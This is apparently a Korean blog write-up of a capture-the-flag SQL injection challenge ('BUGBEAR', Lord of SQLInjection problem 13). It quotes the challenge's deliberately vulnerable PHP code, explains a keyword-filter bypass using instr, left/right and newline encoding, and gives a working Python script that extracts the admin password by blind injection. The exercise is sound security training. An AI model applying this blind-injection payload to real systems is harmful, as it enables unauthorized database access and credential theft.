BUGBEAR
13번 문제
<?php
include "./config.php";
login_chk();
dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~");
if(preg_match('/\'/i', $_GET[pw])) exit("HeHe");
if(preg_match('/\'|substr|ascii|=|or|and| |like|0x/i', $_GET[no])) exit("HeHe");
// $_GET[no]에서 substr, ascii, =, or, and, 공백, like, 0x를 필터링
$query = "select id from prob_bugbear where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysql_fetch_array(mysql_query($query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_bugbear where id='admin' and pw='{$_GET[pw]}'";
$result = @mysql_fetch_array(mysql_query($query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("bugbear");
highlight_file(__FILE__);
?>
코드는 필터링된 부분만 빼고 지난 12번 문제와 동일하다.
하지만 =과 like를 동시에 필터링된 게 가장 큰 문제다. 저 HeHe가 가증스럽다....
우선 sql의 char함수를 통해서 like를 만들 수 있지 않을까 생각해서 시도했다.
실패. 정확히는 잘 모르겠지만 char 함수가 실행되지 않는 것으로 보인다.
인터넷에서 instr 함수를 찾아냈다. 문자열안에 원하는 문자열이 있는지 찾는 함수이다.
우선 한 번 instr함수를 실행해보았다.
성공! 이 함수를 이용해서 문제를 풀어보자.
instr함수를 이용하면 이전과 마찬가지로 guest의 no은 1이고, admin의 no는 2인 것을 알 수 있다.
admin의 pw의 길이는 8이다.
left함수를 이용해서 첫 번째 pw 길이는 7임을 알아냈다.
하지만 instr함수에 인수를 추가하면 참,거짓을 알아낼 수 없었다.
이는 pw의 문제만이 아니라 no도 똑같이 적용되었다.
한문자씩 알아내야하는데 instr만으로는 어려워졌다.
그래서 이전 문제에서 사용했던 left, right함수를 사용하기로 했다.
right(left(pw,1),1)을 하면 pw를 한 문자씩 찾아낼 수 있으므로 instr 함수대신 범위를 좁히도록 했다.
그렇게 해서 성공했다!
파이썬 코드를 작성했다
from urllib.parse import unquote
from bs4 import BeautifulSoup
import re
import requests
if __name__=="__main__":
for i in range(1, 9):
for j in range(48, 123) : # 아스키 코드의 범위
query = "1%0a||%0ainstr(no,2)%0a%26%26%0ainstr(right(left(pw,"+str(i)+"),1),\""+chr(j)+"\")"
params = {"no": unquote(query)}
cookies = {"PHPSESSID" : "saiqui7aabmsjneit3qf5pvs25"}
response = requests.get('https://los.eagle-jump.org/bugbear_431917ddc1dec75b4d65a23bd39689f8.php', cookies = cookies, params = params)
html = response.text
soup = BeautifulSoup(html, 'html.parser')
if soup.select('h2') :
print(chr(j), end="")
break
답을 찾았다
성공!
참고로 찾아보니 instr 함수 대신에 in을 쓰는 방법도 있었다.
참고
instr 함수
'wargame > LOS' 카테고리의 다른 글
[LOS]15번 ASSASSIN (0) | 2019.08.09 |
---|---|
[LOS]14번 GIANT (0) | 2019.08.06 |
[LOS]12번 DARKNIGHT (0) | 2019.08.02 |
[LOS]11번 GOLEM (0) | 2019.07.24 |
[LOS]10번 SKELETON (0) | 2019.07.24 |